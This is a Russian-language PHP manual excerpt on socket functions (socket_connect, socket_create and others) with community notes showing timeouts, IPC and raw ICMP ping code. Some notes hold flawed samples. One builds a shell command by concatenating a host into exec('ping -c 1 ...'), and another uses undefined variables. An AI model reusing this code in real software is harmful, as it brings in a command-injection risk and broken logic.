(PHP 5 >= 5.5.0, PHP 7, PHP 8)

socket_cmsg_space — Вычислить размер буфера сообщения

Описание

socket_cmsg_space(int $level, int $type, int $num = 0): ?int

Вычисляет размер буфера, который должен быть выделен для получения вспомогательных данных.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

level

type

Возвращаемые значения

Смотрите также

  • socket_recvmsg() - Прочитать сообщение
  • socket_sendmsg() - Отправить сообщение

User Contributed Notes

There are no user contributed notes for this page.


Начинает соединение с сокетом

  • « socket_cmsg_space
  • socket_create_listen »
  • PHP Manual
  • Функции сокета
  • Начинает соединение с сокетом

socket_connect

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_connect — Начинает соединение с сокетом

Описание

socket_connect(Socket $socket, string $address, ?int $port = null): bool

Инициализирует соединение с адресом address, используя экземпляр Socket socket, который должен быть экземпляром Socket, созданным при помощи функции socket_create().

Список параметров

socket

Экземпляр Socket, созданный с помощью socket_create().

address

Параметр address может быть IPv4-адресом в записи, разделённой точками (например, 127.0.0.1), если параметр socket равен AF_INET, правильный IPv6-адрес (например, ::1), если включена поддержка IPv6 и параметр socket равен AF_INET6 или путь к файлу доменного сокета Unix, если используется семейство сокетов AF_UNIX.

port

Параметр port используется и обязателен только в том случае, если происходит соединение с сокетом AF_INET или AF_INET6, и он указывает порт на удалённом хосте, к которому должно быть создано соединение.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Код ошибки может быть получен при помощи функции socket_last_error(). Этот код может быть затем передан функции socket_strerror() для получения текстового описания ошибки.

Замечание:

Если сокет неблокирующий, то эта функция возвращает false с ошибкой Operation now in progress.

Список изменений

Версия | Описание
8.0.0 | socket теперь экземпляр класса Socket; ранее был ресурсом (resource).
8.0.0 | port теперь допускает значение null.

Смотрите также

  • socket_bind() - Привязывает имя к сокету
  • socket_listen() - Прослушивает входящие соединения на сокете
  • socket_create() - Создаёт сокет (конечную точку для обмена информацией)
  • socket_last_error() - Возвращает последнюю ошибку на сокете
  • socket_strerror() - Возвращает строку, описывающую ошибку сокета

User Contributed Notes

tacapi at canela dot com 13-Apr-2017 12:35
Just a heads up guys: make sure you're passing a properly formatted IP to your ping and socket functions.

E.g.: 192.168.0.18 -> OK
      192.168.0.018 -> Will result in "Unkwown host"

I was getting a 11004 error and could not solve it until I realized that was the problem.

(Pode ser que seja util para alguem: verifique que o IP passado por parametro para o seu ping e funcoes socket e um endereco de IP corretamente formatado)
Cedar Myers 15-Apr-2011 10:23
It seems that timeout values can be specified by setting the SO_SNDTIMEO option before calling socket_connect():

<?php
socket_set_option($socket, SOL_SOCKET, SO_SNDTIMEO, array('sec' => $seconds, 'usec' => $milliseconds));
socket_connect($socket, $address, $port)//...
?>
thewanderer 17-Jan-2011 10:55
Note that as of PHP5.3 it is not possible to send IPv6 multicast to link-local addresses, because socket_connect() is just a trimmed-down version of connect() and does not support passing sin6_scope_id - the scope ID is required when sending packets to ff02::1 (all-nodes), for example.
At first I thought I needed to bind the socket to the device using SO_BINDTODEVICE option (undefined constant in PHP - use numeric value 25), but it makes no difference, only requires root privileges to produce no usable results.
Also, if you think you are sending multicast packets to link local addresses just because socket_sendto() returns a positive number of bytes, you might be wrong - just returning success does not mean that packets are sent over any link at all. In my test case I was sending to ff02::1, I could detect no errors, but Wireshark showed no packets. They end up in void.
This is irrelevant to the handling of local reception sockets, so UDP listeners should still work as usual with IPv6/UDP. You might want to resort to C for implementing multicasters, though.
peter at videoripper dot org 29-Oct-2009 11:29
This will give you a simple port-checker.

Note that on production-machines, you might want to alter the error reporting-level,
since unsuccessful connects will give you a "No connection could be made because
the target machine actively refused it"-error in the log.

Under Windows, make sure you enable the php_sockets.dll extension in your php.ini.

<?php
  $address=$_SERVER['REMOTE_ADDR'];

  if (isset($_REQUEST['port']) and
      (!strlen($_REQUEST['port'])==0))
    $port=$_REQUEST['port'];
  else
    unset($port);

  if (isset($port) and
      ($socket=socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) and
      (socket_connect($socket, $address, $port)))
    {
      $text="Connection successful on IP $address, port $port";
      socket_close($socket);
    }
  else
    $text="Unable to connect<pre>".socket_strerror(socket_last_error())."</pre>";

  echo "<html><head></head><body>".
       $text.
       "</body></html>";
?>

Greetz,

Peter.
jerrywilborn at gmail dot com 02-Sep-2009 09:40
This will print the banner from a true 'telnet' server (router, switch, host, etc).

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_connect($socket, '127.0.0.1', 23);

while (TRUE) {
        $r = array($socket);
        $c = socket_select($r, $w = NULL, $e = NULL, 5);

        foreach ($r as $read_socket) {
                if ($r = negotiate($read_socket)) {
                        var_dump($r);
                        exit;
                }
        }
}

function negotiate ($socket) {
        socket_recv($socket, $buffer, 1024, 0);

        for ($chr = 0; $chr < strlen($buffer); $chr++) {
                if ($buffer[$chr] == chr(255)) {

                        $send = (isset($send) ? $send . $buffer[$chr] : $buffer[$chr]);

                        $chr++;
                        if (in_array($buffer[$chr], array(chr(251), chr(252)))) $send .= chr(254);
                        if (in_array($buffer[$chr], array(chr(253), chr(254)))) $send .= chr(252);

                        $chr++;
                        $send .= $buffer[$chr];
                } else {
                        break;
                }
        }

        if (isset($send)) socket_send($socket, $send, strlen($send), 0);
        if ($chr - 1 < strlen($buffer)) return substr($buffer, $chr);

}
vshih at yahoo 14-Apr-2009 12:52
rbarnes' tip is helpful, but I found that I needed to add a check for SOCKET_EISCONN in the while loop:

    ...
    $error = socket_last_error();

    if ($error == SOCKET_EISCONN) {
        $connected = true;
        break;
    }
    ...

At least on Mac OS X 10.5.
maganap 18-Sep-2008 12:15
Hi there!

For the TCP connections: socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
In case you're having problems in socket_connect() with socket_strerror() = "Permission denied", you may be having a SELinux config issue.

Check if SELinux is enabled:
# /usr/sbin/sestatus -v
In case it is, you can just type the command:
# setsebool httpd_can_network_connect=1

That's it... I read you had to reboot, but I didn't and it worked fine anyway. More info, you may check:
http://arkiv.netbsd.se/?ml=squirrelmail-users&a=2005-11&t=1523021
rbarnes at fake dot com 15-Jul-2008 10:04
Here is an example of a non-blocking connect which should perform quite a bit faster than the one posted by Seymour below:

<?php
function msConnectSocket($remote, $port, $timeout = 30) {
        # this works whether $remote is a hostname or IP
        $ip = "";
        if( !preg_match('/^\d+\.\d+\.\d+\.\d+$/', $remote) ) {
            $ip = gethostbyname($remote);
            if ($ip == $remote) {
                $this->errstr = "Error Connecting Socket: Unknown host";
                return NULL;
            }
        } else $ip = $remote;

        if (!($this->_SOCK = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP))) {
            $this->errstr = "Error Creating Socket: ".socket_strerror(socket_last_error());
            return NULL;
        }

        socket_set_nonblock($this->_SOCK);

        $error = NULL;
        $attempts = 0;
        $timeout *= 1000;  // adjust because we sleeping in 1 millisecond increments
        $connected;
        while (!($connected = @socket_connect($this->_SOCK, $remote, $port+0)) && $attempts++ < $timeout) {
            $error = socket_last_error();
            if ($error != SOCKET_EINPROGRESS && $error != SOCKET_EALREADY) {
                $this->errstr = "Error Connecting Socket: ".socket_strerror($error);
                socket_close($this->_SOCK);
                return NULL;
            }
            usleep(1000);
        }

        if (!$connected) {
            $this->errstr = "Error Connecting Socket: Connect Timed Out After $timeout seconds. ".socket_strerror(socket_last_error());
            socket_close($this->_SOCK);
            return NULL;
        }

        socket_set_block($this->_SOCK);

        return 1;
}
?>
mike at fserve dot us 22-Feb-2008 02:14
This probably sounds like common sense, but it is something nobody i asked thought of... you can't bind the socket to localhost, you must bind it to either the IP your router assigns you, or your public IP address. If you bind to localhost, it will give an invalid resource error.
telefoontoestel at home 23-Nov-2003 12:05
In reply to the function socket_raw_connect posted by "net_del at freemail dot ru". In the function you give a return value and afterwords you try to close the connection. That won't ever work. I think you want to alter your code ;-)
seymour@itsyourdomain 01-Oct-2003 12:43
here's how you can implement timeouts with the socket functions.

this example works for blocking sockets but will work for both blocking and nonblocking with minor modifications. first call to connect in nonblocking mode returns 115 EINPROGRESS, additional calls return 114 EALREADY if the connection has not already failed or succeeded. once the connection succeeds, the socket resource will be returned.

<?
    $host = "127.0.0.1";
    $port = "80";
    $timeout = 15;  //timeout in seconds

    $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)
      or die("Unable to create socket\n");

    socket_set_nonblock($socket)
      or die("Unable to set nonblock on socket\n");

    $time = time();
    while (!@socket_connect($socket, $host, $port))
    {
      $err = socket_last_error($socket);
      if ($err == 115 || $err == 114)
      {
        if ((time() - $time) >= $timeout)
        {
          socket_close($socket);
          die("Connection timed out.\n");
        }
        sleep(1);
        continue;
      }
      die(socket_strerror($err) . "\n");
    }

    socket_set_block($this->socket)
      or die("Unable to set block on socket\n");
?>
w at ff dot st 28-Jun-2003 02:20
man page for connect :
 EINPROGRESS
The socket is non-blocking and the connection cannot be completed immediately.  It is possible to select(2) or poll(2) for completion by selecting the socket for writing. After select indicates  writability,  use  getsockopt(2)  to read the SO_ERROR option at level SOL_SOCKET to determine whether connect completed successfully (SO_ERROR is zero) or unsuccessfully (SO_ERROR is one of the usual error codes listed here, explaining the reason for the failure).

use socket_getoption($socket,SOL_SOCKET,SO_ERROR) . If you get value 115, it is connecting. If you get value different than 115 and 0, that means that an error has occured (see what error with socket_strerror()).

However, I don't know how does that works under Windows, maybe it wont work at all. It is supposed to work under Linux (man pages said that).
greg at mtechsolutions dot ca 30-Apr-2003 02:12
If you're using non-blocking, be sure not to turn it on until after you connect, otherwise you will get the mesasge:

PHP Warning:  socket_connect() unable to connect [115]: Operation now in progress in file.php on line 123

and socket_connect() will return false (even though it will connect).
logan at voerthegame dot com 24-Jul-2002 11:24
I had the same problem with the timeout, and i applied this solution.

It works only on linux PHP, i make a ping to the ip before connect the socket.....

<?php
$address = gethostbyname ($ip);
        $command = "ping -c 1 " . $address;
        $r = exec($command);
          if ($r[0]=="r")
          {
            $socket = socket_create (AF_INET, SOCK_STREAM, 0);
            if ($socket < 0) {
                echo "socket_create() failed: reason: " . socket_strerror ($socket) . "\n";
            } else {
                echo "OK.\n";
            }
?>


Открывает сокет на указанном порту для принятия соединений

  • « socket_connect
  • socket_create_pair »
  • PHP Manual
  • Функции сокета
  • Открывает сокет на указанном порту для принятия соединений

socket_create_listen

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_create_listen — Открывает сокет на указанном порту для принятия соединений

Описание

socket_create_listen(int $port, int $backlog = 128): Socket|false

socket_create_listen() создаёт новый экземпляр Socket типа AF_INET, слушающий на всех локальных интерфейсах указанный порт в ожидании новых соединений.

Эта функция предназначена для упрощения задачи создания нового сокета, который только слушает порт для получения новых соединений.

Список параметров

port

Порт, который нужно слушать на всех интерфейсах.

backlog

Параметр backlog определяет максимальную длину, до которой может вырасти очередь ожидающих соединений. SOMAXCONN может быть передан как параметр backlog, смотрите socket_listen() для более полной информации.

Возвращаемые значения

socket_create_listen() возвращает новый экземпляр Socket в случае успешного выполнения или false в случае возникновения ошибки. Код ошибки может быть получен при помощи функции socket_last_error(). Этот код может быть передан функции socket_strerror() для получения текстового описания ошибки.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения функция возвращает экземпляр Socket; ранее возвращался ресурс (resource).

Примечания

Замечание:

Если вы хотите создать сокет, который будет прослушивать только определённый интерфейс, вам нужно использовать функции socket_create(), socket_bind() и socket_listen().

Смотрите также

  • socket_create() - Создаёт сокет (конечную точку для обмена информацией)
  • socket_create_pair() - Создаёт пару неразличимых сокетов и сохраняет их в массиве
  • socket_bind() - Привязывает имя к сокету
  • socket_listen() - Прослушивает входящие соединения на сокете
  • socket_last_error() - Возвращает последнюю ошибку на сокете
  • socket_strerror() - Возвращает строку, описывающую ошибку сокета

User Contributed Notes

aeolianmeson at ifacfchi dot blitzeclipse dot com 26-Jun-2008 03:34
I believe that on some systems this may not bind to some or all public interfaces.

On my Windows system, I could not connect on the public interface using this, but could when I made the individual calls to create, bind, and listen.

Dustin Oprea
sysspoof at ng-lab dot org 06-Mar-2008 11:03
Please note that port 1 to and with 1024 on linux and bsd system require root privileges. So it is recommended to choose a higher port for your own application.
jdittmer at ppp0 dot net 17-Jul-2004 04:42
If you specify no port number, or 0, a random free port will be chosen.
To use ports for ipc between client/server on the same machine you can use (minus error checking)

server.php:
<?php
$sock = socket_create_listen(0);
socket_getsockname($sock, $addr, $port);
print "Server Listening on $addr:$port\n";
$fp = fopen($port_file, 'w');
fwrite($fp, $port);
fclose($fp);
while($c = socket_accept($sock)) {
   /* do something useful */
   socket_getpeername($c, $raddr, $rport);
   print "Received Connection from $raddr:$rport\n";
}
socket_close($sock);
?>

client.php:
<?php
$fp = fopen($port_file, 'r');
$port = fgets($fp, 1024);
fclose($fp);
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_connect($sock, '127.0.0.1', $port);
socket_close($sock);
?>
basim at baassiri dot com 06-Feb-2004 02:50
Remember that ports are only valid from 1 - 65535

[editor's note: typo fixed, thanks abryant at apple dot com]


Создаёт пару неразличимых сокетов и сохраняет их в массиве

  • « socket_create_listen
  • socket_create »
  • PHP Manual
  • Функции сокета
  • Создаёт пару неразличимых сокетов и сохраняет их в массиве

socket_create_pair

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_create_pair — Создаёт пару неразличимых сокетов и сохраняет их в массиве

Описание

socket_create_pair(
int $domain,
int $type,
int $protocol,
array &$pair
): bool

socket_create_pair() создаёт два соединённых и неразличимых сокета, и сохраняет их в массиве pair. Эта функция обычно используется IPC (межпроцессном взаимодействии).

Список параметров

domain

Параметр domain определяет семейство протоколов, которое будет использоваться сокетом. Смотрите их полный список в описании функции socket_create().

type

Параметр type указывает тип коммуникации, которая будет использоваться сокетом. Смотрите их полный список в описании функции socket_create().

protocol

Параметр protocol устанавливает определённый протокол в указанном семействе протоколов domain, который будет использоваться при связи с полученными сокетами. Соответствующее значение может быть получено по имени при помощи функции getprotobyname(). Если требуемый протокол TCP или UDP, то соответствующие константы SOL_TCP и SOL_UDP также могут быть использованы.

Смотрите полный список поддерживаемых протоколов в описании функции socket_create().

pair

Ссылка на массив, в который будут вставлены два экземпляра Socket.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | pair является ссылкой на массив экземпляров Socket; ранее являлся ссылкой на массив ресурсов (resource).

Примеры

Пример #1 Пример использования socket_create_pair()

<?php
$sockets = array();

/* На Windows нам нужно использовать AF_INET */
$domain = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN' ? AF_INET : AF_UNIX);

/* Создаём пару сокетов */
if (socket_create_pair($domain, SOCK_STREAM, 0, $sockets) === false) {
echo "Не получилось выполнить socket_create_pair. Причина: ".socket_strerror(socket_last_error());
}
/* Отправляем и получаем данные */
if (socket_write($sockets[0], "ABCdef123\n", strlen("ABCdef123\n")) === false) {
echo "Не получилось выполнить socket_write(). Причина: ".socket_strerror(socket_last_error($sockets[0]));
}
if (($data = socket_read($sockets[1], strlen("ABCdef123\n"), PHP_BINARY_READ)) === false) {
echo "Не получилось выполнить socket_read(). Причина: ".socket_strerror(socket_last_error($sockets[1]));
}
var_dump($data);

/* Закрываем сокеты */
socket_close($sockets[0]);
socket_close($sockets[1]);
?>

Пример #2 Пример использования socket_create_pair() в IPC

<?php
$ary = array();
$strone = 'Сообщение от родительского процесса.';
$strtwo = 'Сообщение от дочернего процесса.';

if (socket_create_pair(AF_UNIX, SOCK_STREAM, 0, $ary) === false) {
echo "Не получилось выполнить socket_create_pair(). Причина: ".socket_strerror(socket_last_error());
}
$pid = pcntl_fork();
if ($pid == -1) {
echo 'Не могу создать новый процесс.';
} elseif ($pid) {
/*родительский процесс*/
socket_close($ary[0]);
if (socket_write($ary[1], $strone, strlen($strone)) === false) {
echo "Не получилось выполнить socket_write(). Причина: ".socket_strerror(socket_last_error($ary[1]));
}
if (socket_read($ary[1], strlen($strtwo), PHP_BINARY_READ) == $strtwo) {
echo "Получено $strtwo\n";
}
socket_close($ary[1]);
} else {
/*дочерний процесс*/
socket_close($ary[1]);
if (socket_write($ary[0], $strtwo, strlen($strtwo)) === false) {
echo "Не получилось выполнить socket_write(). Причина: ".socket_strerror(socket_last_error($ary[0]));
}
if (socket_read($ary[0], strlen($strone), PHP_BINARY_READ) == $strone) {
echo "Получено $strone\n";
}
socket_close($ary[0]);
}
?>

Смотрите также

  • socket_create() - Создаёт сокет (конечную точку для обмена информацией)
  • socket_create_listen() - Открывает сокет на указанном порту для принятия соединений
  • socket_bind() - Привязывает имя к сокету
  • socket_listen() - Прослушивает входящие соединения на сокете
  • socket_last_error() - Возвращает последнюю ошибку на сокете
  • socket_strerror() - Возвращает строку, описывающую ошибку сокета

User Contributed Notes

cweiske at php dot net 09-May-2009 01:45
The underlying sockpair() function does only support AF_UNIX at least on BSD and Linux.
thegreatall at gmail dot com 13-Jul-2007 11:24
There is a syntax error in one of the code samples provided, it should look like this:
<?php
$sockets = array();
/* Setup socket pair */
if (socket_create_pair(AF_UNIX, SOCK_STREAM, 0, $sockets) === false) {
    echo "socket_create_pair failed. Reason: ".socket_strerror(socket_last_error());
}
/* Send and Recieve Data */
if (socket_write($sockets[0], "ABCdef123\n", strlen("ABCdef123\n")) === false) {
    echo "socket_write() failed. Reason: ".socket_strerror(socket_last_error($sockets[0]));
}
if (($data = socket_read($sockets[1], strlen("ABCdef123\n"), PHP_BINARY_READ)) === false) {
    echo "socket_read() failed. Reason: ".socket_strerror(socket_last_error($sockets[1]));
}
var_dump($data);

/* Close sockets */
socket_close($sockets[0]);
socket_close($sockets[1]);
?>


Создаёт сокет (конечную точку для обмена информацией)

  • « socket_create_pair
  • socket_export_stream »
  • PHP Manual
  • Функции сокета
  • Создаёт сокет (конечную точку для обмена информацией)

socket_create

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_create — Создаёт сокет (конечную точку для обмена информацией)

Описание

socket_create(int $domain, int $type, int $protocol): Socket|false

Создаёт и возвращает экземпляр Socket, также называемый как конечная точка обмена информацией. Типичное сетевое соединение состоит из двух сокетов, один из которых выполняет роль клиента, а другой выполняет роль сервера.

Список параметров

domain

Параметр domain определяет семейство протоколов, используемых сокетами.

Доступные семейства адресов/протоколов
Семейство | Описание
AF_INET | Internet-протоколы IPv4. TCP и UDP - это стандартные протоколы этого семейства протоколов.
AF_INET6 | Internet-протоколы IPv6. TCP и UDP - это стандартные протоколы этого семейства протоколов.
AF_UNIX | Семейство протоколов для локального обмена данными. Высокая эффективность и низкие накладные расходы делают его отличным видом IPC (межпроцессного взаимодействия).
type

Параметр type определяет тип обмена данными, который будет использоваться сокетом.

Доступные типы сокетов
Тип | Описание
SOCK_STREAM | Обеспечивает последовательные, надёжные, полнодуплексные, байтовые потоки с установлением соединения. Может поддерживаться механизм передачи внеполосных (out-of-band) данных. Протокол TCP основан на этом типе сокетов.
SOCK_DGRAM | Поддерживает датаграммы (ненадёжные сообщения без установления соединения фиксированной максимальной длины). Протокол UDP основан на этом типе сокетов.
SOCK_SEQPACKET | Предоставляет последовательную, надёжную, двунаправленную, базирующуюся на соединениях передачу датаграмм с фиксированной максимальной длиной. Потребитель должен читать весь пакет целиком при каждой итерации чтения.
SOCK_RAW | Предоставляет доступ по неподготовленному (raw) сетевому протоколу. Это специальный тип сокета может быть использован для ручного создания любого типа протокола. Стандартное использование этого типа сокетов - выполнение запросов ICMP (таких как ping).
SOCK_RDM | Предоставляет надёжный уровень датаграм, не гарантирующий сохранение порядка. Скорее всего, это семейство протоколов не реализовано в вашей операционной системе.
protocol

Параметр protocol указывает конкретный протокол в заданном семействе протоколов domain, который будет использоваться в обмене данными с созданным сокетом. Соответствующее значение может быть получено по имени при помощи функции getprotobyname(). Если желаемый протокол TCP или UDP, то соответствующие константы SOL_TCP и SOL_UDP также могут быть использованы.

Стандартные протоколы
Название | Описание
icmp | ICMP (Internet Control Message Protocol, протокол межсетевых управляющих сообщений) используется преимущественно шлюзами и хостами для сообщения об ошибках в передаче датаграмм. Команда "ping" (присутствующая в большинстве современных операционных систем) - это пример использования ICMP-протокола.
udp | UDP (User Datagram Protocol, протокол пользовательских датаграмм) - это протокол без установления соединения, ненадёжный, протокол с фиксированной длиной записей. Из-за этих аспектов, UDP требует минимального количества служебной информации.
tcp | TCP (The Transmission Control Protocol, протокол управления передачей) - это надёжный, базирующийся на соединениях, потокоориентированный, полнодуплексный протокол. TCP гарантирует, что все пакеты данных будут получены в том порядке, в котором они были отправлены. Если какой-нибудь пакет каким-либо образом был утерян во время передачи данных, TCP будет автоматически передавать пакет повторно до тех пор, пока хост назначения не подтвердит этот пакет. В целях надёжности и производительности, реализация протокола TCP сама выбирает подходящие границы октета нижележащего уровня обмена датаграммами. Таким образом, приложения, использующие TCP, должны предоставлять возможность частичной передачи записей.

Возвращаемые значения

Функция socket_create() возвращает экземпляр Socket в случае успешного выполнения, или false в случае возникновения ошибки. Код ошибки может быть получен при помощи вызова функции socket_last_error(). Эта ошибка может быть передана функции socket_strerror() для получения текстового описания ошибки.

Ошибки

Если указан неверный параметр domain или type, функция socket_create() будет использовать по умолчанию значение AF_INET и SOCK_STREAM соответственно, и дополнительно к этому выдаст сообщение E_WARNING.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения функция возвращает экземпляр Socket; ранее возвращался ресурс (resource).

Смотрите также

  • socket_accept() - Принимает соединение на сокете
  • socket_bind() - Привязывает имя к сокету
  • socket_connect() - Начинает соединение с сокетом
  • socket_listen() - Прослушивает входящие соединения на сокете
  • socket_last_error() - Возвращает последнюю ошибку на сокете
  • socket_strerror() - Возвращает строку, описывающую ошибку сокета

User Contributed Notes

Sakrizz 16-Nov-2016 10:46
Here's a solution for icmpv6 ping with php, dropping it here in case if someone has problems with icmpv6 with php.

<?php
$host = "2a03:2880:f11b:83:face:b00c:0:25de";
$timeout = 100000;
$count = 3;
echo "Latency: ". round(1000 * pingv6($host,$timeout,$count),5) ." ms \n";

function pingv6($target,$timeout,$count) {
    echo "target is ipv6 address, ". getprotobyname('ipv6-icmp'). " \n";
    /* create the socket, the last '1' denotes ICMP */
    $socket = socket_create(AF_INET6, SOCK_RAW, getprotobyname('ipv6-icmp'));
    /* set socket receive timeout to 1 second */
    $sec=intval($timeout/1000);
    $usec=$timeout%1000*1000;
    socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array("sec"=>$sec, "usec"=>$usec));
    /* socket package parameters */
    $type = "\x80";
    $seqNumber = chr(floor($i/256)%256) . chr($i%256);
    $checksum= "\x00\x00";
    $code = "\x00";
    $identifier = chr(rand(0,255)) . chr(rand(0,255));
    $msg = "!\"#$%&'()*+,-./1234567";
    $package = $type.$code.$checksum.$identifier.$seqNumber.$msg;
        $checksum = icmpChecksum($package);
        $package = $type.$code.$checksum.$identifier.$seqNumber.$msg;
    /* socket connect */
    if(@socket_connect($socket, $target, null)){
        for($i = 0; $i < $count; $i++){
                list($start_usec, $start_sec) = explode(" ", microtime());
                $start_time = ((float) $start_usec + (float) $start_sec);
                $startTime = microtime(true);
                socket_send($socket, $package, strLen($package), 0);
                while ($startTime + $timeout*1000 > microtime(true)){
                        if(socket_read($socket, 255) !== false) {
                                list($end_usec, $end_sec) = explode(" ", microtime());
                                $end_time = ((float) $end_usec + (float) $end_sec);
                                $total_time = $end_time - $start_time;
                                echo "round trip time (".$i."): ". $total_time ."\n";
                                return $total_time;
                                break;
                        }else{
                                return "null";
                                echo "Timed out (".$i."), Got no echo reply\n";
                                break;
                        }
                }
            usleep($interval*1000);
        }
        socket_close($socket);
    }
}

function icmpChecksum($data){
if (strlen($data)%2) $data .= "\x00";
$bit = unpack('n*', $data);
$sum = array_sum($bit);
while ($sum >> 16)
  $sum = ($sum >> 16) + ($sum & 0xffff);
return pack('n*', ~$sum);
}

?>
ab1965 at yandex dot ru 04-May-2012 12:43
It took some time to understand how one PHP process can communicate with another by means of unix udp sockets. Examples of 'server' and 'client' code are given below. Server is assumed to run before client starts.

'Server' code
<?php
if (!extension_loaded('sockets')) {
    die('The sockets extension is not loaded.');
}
// create unix udp socket
$socket = socket_create(AF_UNIX, SOCK_DGRAM, 0);
if (!$socket)
        die('Unable to create AF_UNIX socket');

// same socket will be used in recv_from and send_to
$server_side_sock = dirname(__FILE__)."/server.sock";
if (!socket_bind($socket, $server_side_sock))
        die("Unable to bind to $server_side_sock");

while(1) // server never exits
{
// receive query
if (!socket_set_block($socket))
        die('Unable to set blocking mode for socket');
$buf = '';
$from = '';
echo "Ready to receive...\n";
// will block to wait client query
$bytes_received = socket_recvfrom($socket, $buf, 65536, 0, $from);
if ($bytes_received == -1)
        die('An error occured while receiving from the socket');
echo "Received $buf from $from\n";

$buf .= "->Response"; // process client query here

// send response
if (!socket_set_nonblock($socket))
        die('Unable to set nonblocking mode for socket');
// client side socket filename is known from client request: $from
$len = strlen($buf);
$bytes_sent = socket_sendto($socket, $buf, $len, 0, $from);
if ($bytes_sent == -1)
        die('An error occured while sending to the socket');
else if ($bytes_sent != $len)
        die($bytes_sent . ' bytes have been sent instead of the ' . $len . ' bytes expected');
echo "Request processed\n";
}
?>

'Client' code
<?php
if (!extension_loaded('sockets')) {
    die('The sockets extension is not loaded.');
}
// create unix udp socket
$socket = socket_create(AF_UNIX, SOCK_DGRAM, 0);
if (!$socket)
        die('Unable to create AF_UNIX socket');

// same socket will be later used in recv_from
// no binding is required if you wish only send and never receive
$client_side_sock = dirname(__FILE__)."/client.sock";
if (!socket_bind($socket, $client_side_sock))
        die("Unable to bind to $client_side_sock");

// use socket to send data
if (!socket_set_nonblock($socket))
        die('Unable to set nonblocking mode for socket');
// server side socket filename is known apriori
$server_side_sock = dirname(__FILE__)."/server.sock";
$msg = "Message";
$len = strlen($msg);
// at this point 'server' process must be running and bound to receive from serv.sock
$bytes_sent = socket_sendto($socket, $msg, $len, 0, $server_side_sock);
if ($bytes_sent == -1)
        die('An error occured while sending to the socket');
else if ($bytes_sent != $len)
        die($bytes_sent . ' bytes have been sent instead of the ' . $len . ' bytes expected');

// use socket to receive data
if (!socket_set_block($socket))
        die('Unable to set blocking mode for socket');
$buf = '';
$from = '';
// will block to wait server response
$bytes_received = socket_recvfrom($socket, $buf, 65536, 0, $from);
if ($bytes_received == -1)
        die('An error occured while receiving from the socket');
echo "Received $buf from $from\n";

// close socket and delete own .sock file
socket_close($socket);
unlink($client_side_sock);
echo "Client exits\n";
?>
geoff at spacevs dot com 20-Nov-2010 01:51
Here is a ping function for PHP without using exec/system/passthrough/etc... Very useful to use to just test if a host is online before attempting to connect to it. Timeout is in seconds.

<?PHP
        function ping($host, $timeout = 1) {
                /* ICMP ping packet with a pre-calculated checksum */
                $package = "\x08\x00\x7d\x4b\x00\x00\x00\x00PingHost";
                $socket  = socket_create(AF_INET, SOCK_RAW, 1);
                socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array('sec' => $timeout, 'usec' => 0));
                socket_connect($socket, $host, null);

                $ts = microtime(true);
                socket_send($socket, $package, strLen($package), 0);
                if (socket_read($socket, 255))
                        $result = microtime(true) - $ts;
                else    $result = false;
                socket_close($socket);

                return $result;
        }
?>
rhollencamp at gmail dot com 08-Sep-2009 09:29
Note that if you create a socket with AF_UNIX, a file will be created in the filesystem. This file is not removed when you call socket_close - you should unlink the file after you close the socket.
alexander dot krause at ed-solutions dot de 20-Mar-2008 12:57
On UNIX systems php needs /etc/protocols for constants like SOL_UDP and SOL_TCP.

This file was missing on my embedded platform.
Jean Charles MAMMANA 31-Jan-2008 04:54
I've written the ping() function using socket_create() with SOCK_RAW.
(on Unix System, you need to have the root acces to execute this function)

<?php

/// start ping.inc.php ///

$g_icmp_error = "No Error";

// timeout in ms
function ping($host, $timeout)
{
        $port = 0;
        $datasize = 64;
        global $g_icmp_error;
        $g_icmp_error = "No Error";
        $ident = array(ord('J'), ord('C'));
        $seq   = array(rand(0, 255), rand(0, 255));

     $packet = '';
     $packet .= chr(8); // type = 8 : request
     $packet .= chr(0); // code = 0

     $packet .= chr(0); // checksum init
     $packet .= chr(0); // checksum init

        $packet .= chr($ident[0]); // identifier
        $packet .= chr($ident[1]); // identifier

        $packet .= chr($seq[0]); // seq
        $packet .= chr($seq[1]); // seq

        for ($i = 0; $i < $datasize; $i++)
                $packet .= chr(0);

        $chk = icmpChecksum($packet);

        $packet[2] = $chk[0]; // checksum init
        $packet[3] = $chk[1]; // checksum init

        $sock = socket_create(AF_INET, SOCK_RAW,  getprotobyname('icmp'));
        $time_start = microtime();
    socket_sendto($sock, $packet, strlen($packet), 0, $host, $port);

    $read   = array($sock);
        $write  = NULL;
        $except = NULL;

        $select = socket_select($read, $write, $except, 0, $timeout * 1000);
        if ($select === NULL)
        {
                $g_icmp_error = "Select Error";
                socket_close($sock);
                return -1;
        }
        elseif ($select === 0)
        {
                $g_icmp_error = "Timeout";
                socket_close($sock);
                return -1;
        }

    $recv = '';
    $time_stop = microtime();
    socket_recvfrom($sock, $recv, 65535, 0, $host, $port);
        $recv = unpack('C*', $recv);

        if ($recv[10] !== 1) // ICMP proto = 1
        {
                $g_icmp_error = "Not ICMP packet";
                socket_close($sock);
                return -1;
        }

        if ($recv[21] !== 0) // ICMP response = 0
        {
                $g_icmp_error = "Not ICMP response";
                socket_close($sock);
                return -1;
        }

        if ($ident[0] !== $recv[25] || $ident[1] !== $recv[26])
        {
                $g_icmp_error = "Bad identification number";
                socket_close($sock);
                return -1;
        }

        if ($seq[0] !== $recv[27] || $seq[1] !== $recv[28])
        {
                $g_icmp_error = "Bad sequence number";
                socket_close($sock);
                return -1;
        }

        $ms = ($time_stop - $time_start) * 1000;
